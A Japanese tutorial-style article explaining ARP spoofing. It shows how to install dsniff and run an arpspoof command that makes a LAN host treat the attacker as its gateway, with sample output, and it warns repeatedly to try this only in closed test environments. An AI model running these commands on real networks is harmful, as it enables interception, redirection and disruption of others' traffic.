IPアドレスを誤認させる方法

インターネットは日々の生活に欠かすことのできないインフラストラクチャになった。このネットワークは広く知られたプロトコルの積み上げというか、組み合わせで構築されているのだが、実のところ混乱を招くのがとても簡単だ。

なぜなら、プロトコルの穴を突くとか実装のバグを利用するとかそういうことではなく、仕組み上可能なためである。

セキュリティ関連のニュースで「IPアドレスを詐称することで通信を傍受する」といった説明を聞いたことがあるだろう。さも超絶技巧が使われているかのようなイメージを持つかもしれないが、実のところ容易にできてしまう。

  • Ubuntu 18.04 LTS

    Ubuntu 18.04 LTS

中でも、LANで同じセグメントにあるホストに対して混乱を引き起こすことは簡単だ。ただし、クローズドな実験環境で試してみるのは問題ないが、会社のLANや学校のLANにおいて、ここに書いてあることは絶対にやってはいけない。ただの迷惑行為になってしまう。

方法はいくつかあるが、ここではarpspoofを使う方法を紹介しておこう。Ubuntuならarpspoofはdsniffパッケージに含まれている。

arpspoofの含まれたdsniffパッケージをインストール

sudo apt install dsniff

ネットワークに問題が出る前の状態であれば次のような感じでネットワークを利用できる。

  • 名前取り合わせを行ったサンプル

    名前取り合わせを行ったサンプル

このホストと同じセグメントに接続されているホストから次のような感じでarpspoofコマンドを実行する。

arpspoofコマンドで192.168.1.61に対して192.168.1.1は自分(arpspoofコマンドを実行しているホスト)だと認識させている

% sudo arpspoof -i bge0 -t 192.168.1.61 192.168.1.1
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
fc:bb:14:a2:11:4a 00:a0:98:cf:94:2d 0806 42: arp reply 192.168.1.1 is-at fc:bb:14:a2:11:4a
...略...

こんな感じでarpspoofコマンドを利用すると、上記の場合であれば、192.168.1.61に対して192.168.1.1は自分(arpspoofコマンドを実行しているホスト)だと誤認させることができる。192.168.1.1がゲートウェアならゲートウェイを自分にすることができるし、DNSサーバならDNSサーバを自分にすることができる。これで乗っ取り完了である。

攻撃を受けたホストで先ほどと同じようにdigコマンドを実行しても、今度は次のように名前解決ができなくなる。偽のホストを192.168.1.1(この場合はゲートウェイ)としているため、ルートの解決が行われないためにインターネットにアクセスできなくなった。

  • 偽のゲートウェイを掴まされたためにインターネットが利用できなくなった場合のサンプル

    偽のゲートウェイをつかまされたためにインターネットが利用できなくなった場合のサンプル

これが悪さをするように仕立て上げられたホストで実行されると、通信内容を傍受されたり、偽のWebサイトに誘導されたり、といったことを実行できる。また、手の混んだことをしなくても、ホストを誤認させるだけでそのネットワークを混乱させることができる。しかも、簡単にできてしまう。

最後にもう一度触れておくが、クローズドな実験環境でこういった操作を行ってみるのは問題ない。インターネットの仕組みを理解するにはいい実験になると思う。ただし、実際に使われているLANでやると、ただの迷惑行為であり、サイバー攻撃ともなることに注意してほしい。